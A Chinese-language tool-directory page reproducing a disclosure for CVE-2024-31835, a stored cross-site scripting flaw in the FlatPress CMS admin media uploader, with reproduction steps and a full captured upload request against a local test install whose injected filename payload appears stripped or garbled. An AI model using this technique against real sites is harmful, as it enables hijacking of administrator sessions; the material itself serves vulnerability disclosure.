Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-31835 — flatpress CMS Flatpress v1.3 中的跨站脚本(XSS)漏洞允许远程攻击者通过向文件名参数发送特制负载来执行任意代码。 | Kitploit
工具/GitHubGitHub/paragbagul111/cve-2024-31835
漏洞分析代码分析漏洞利用Web安全渗透测试
GitHubparagbagul111/cve-2024-31835

CVE-2024-31835

flatpress CMS Flatpress v1.3 中的跨站脚本(XSS)漏洞允许远程攻击者通过向文件名参数发送特制负载来执行任意代码。

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-31835

flatpress CMS Flatpress v1.3 中存在跨站脚本(XSS)漏洞,远程攻击者可以通过向文件名参数传递特制载荷来执行任意代码。

受影响组件: FlatPress CMS 管理面板文件上传字段

修复版本: Flatpress v1.3 - 将在 FlatPress 1.3 版本中修复。

攻击类型:远程

攻击向量:通过构造图片文件名来利用漏洞

复现步骤:

  1. 登录管理员账号并打开以下 URL:http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader&action=mediamanager
  2. 点击上传字段,上传任意文件,点击上传并使用 Burp Suite 拦截请求,请求将如下所示。在文件名中注入 JavaScript 载荷:testtest

请求示例

root@kitploit:~
POST /flatpress-1.2.1/admin.php?p=uploader&action=default HTTP/1.1
Host: 127.0.0.1
Content-Length: 1598
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHnyH0cX0ojRbqom
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: fpuser_fp-9b0a379a=parag; fppass_fp-9b0a379a=%242y%2410%24j.D1Ab.xVMoIDu9yQF8QjefOZmz9JPoh4QwzpoCdYxlqSkNQDGag2; fpsess_fp-9b0a379a=mg65h4rd8onvv2tniminpq635f
Connection: close

------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wpnonce"
60f24876be
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wp_http_referer"
/flatpress-1.2.1/admin.php?p=uploader
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="upload[]"; filename="test.phpuh9aeairjipc8brr"
Content-Type: application/x-php

TEst
------WebKitFormBoundaryzHnyH0cX0ojRbqom--

参考:

https://portswigger.net/web-security/cross-site-scripting https://drive.google.com/file/d/1OthtP87MduNTYur_p0RZv3moY8CrBcaM/view

产品供应商: flatpress CMS

确认时间:11/06/2023

发现者: Parag Bagul

下载工具